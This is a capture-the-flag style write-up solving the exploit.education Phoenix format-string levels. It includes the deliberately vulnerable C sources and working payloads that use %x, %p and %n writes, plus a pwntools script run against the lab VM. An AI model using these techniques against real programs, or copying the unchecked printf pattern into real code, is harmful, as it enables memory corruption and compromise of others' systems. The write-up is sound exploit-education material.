The new chapter discusses the story of exploiting format string vulnerabilities.
Format-two is a collection of x86 solutions. It took me a while to find out how to avoid the pitfall of \x00
in x86_64, and I finally found it in a comment section.
format-zero#
Source Code#
/*
* phoenix/format-zero, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
* pass it around, 4294967295 bottles of beer on the wall!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
Solve#
By using a 15-character format string, we can generate an output of more than 32 bits to overwrite changeme
.
The variable arguments in C are stored on the stack and there is no validation of the number of arguments. So we can just generate a bunch of numbers.
user@phoenix-amd64:~$ python -c "print('%x'*15)"|/opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
Let's see what was formatted in memory using gdb:
(gdb) p (char*)0x00007fffffffe650
$4 = 0x7fffffffe650 "ffffe640f7ffc546712e712ea0a0a0affffe6d8078257825"
There are 48 bits.
Oh, I suddenly remembered that we can use "%32x"... (Why is 32 bits enough? Because there is a "\n" at the end of the input)
format-one#
Change changeme
to a fixed value of 0x45764f6c. We just need to append it to the previous solution.
user@phoenix-amd64:~$ python -c "from pwn import *;print('%32x'+p64(0x45764f6c))"|/opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!
p64
is used to pack a 64-bit integer into bytes.
format-two#
Source Code#
/*
* phoenix/format-two, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* What kind of flower should never be put in a vase?
* A cauliflower.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
if (changeme != 0) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
puts("Better luck next time!\n");
}
exit(0);
}
Theory#
Use %n
to write the number of bytes already outputted to a specific address.
Since there are no additional arguments after printf
, we can write to a specific address on the stack.
First, we need to find out how far the stack top is from the input we can control, and then insert %p
to consume 8 bytes.
The situation is a bit different between x86 and x86_64. For x86, we can do it like this (https://n1ght-w0lf.github.io/binary%20exploitation/format-two/):
/opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
Put the address we want to write to (changeme
's address) at the beginning, and then write %x
based on the calculated distance from the stack top to the string. However, the changeme
address in x86_64 ends with \x00
, so doing it like above will be truncated. But we can do it like this (https://blog.lamarranet.com/index.php/exploit-education-phoenix-format-two-solution/ comment section):
/opt/phoenix/amd64/format-two $'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60'
Each additional %p
string increases the length by two bytes, but it can consume 8 bytes on the stack. This creates a chasing problem until a certain number, where %n
is right below 0x00600af0
on the stack.
Pitfall#
When using $(balabala)
as a parameter in bash, if there is a newline inside, it will automatically become two parameters.
So we can't do this:
/opt/phoenix/amd64/format-two $(cat payload)
Python Solution#
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'%p'*15+b'%n\xf0\x0a\x60'
sh = shell.process(argv=["/opt/phoenix/amd64/format-two", shellcode])
sh.interactive()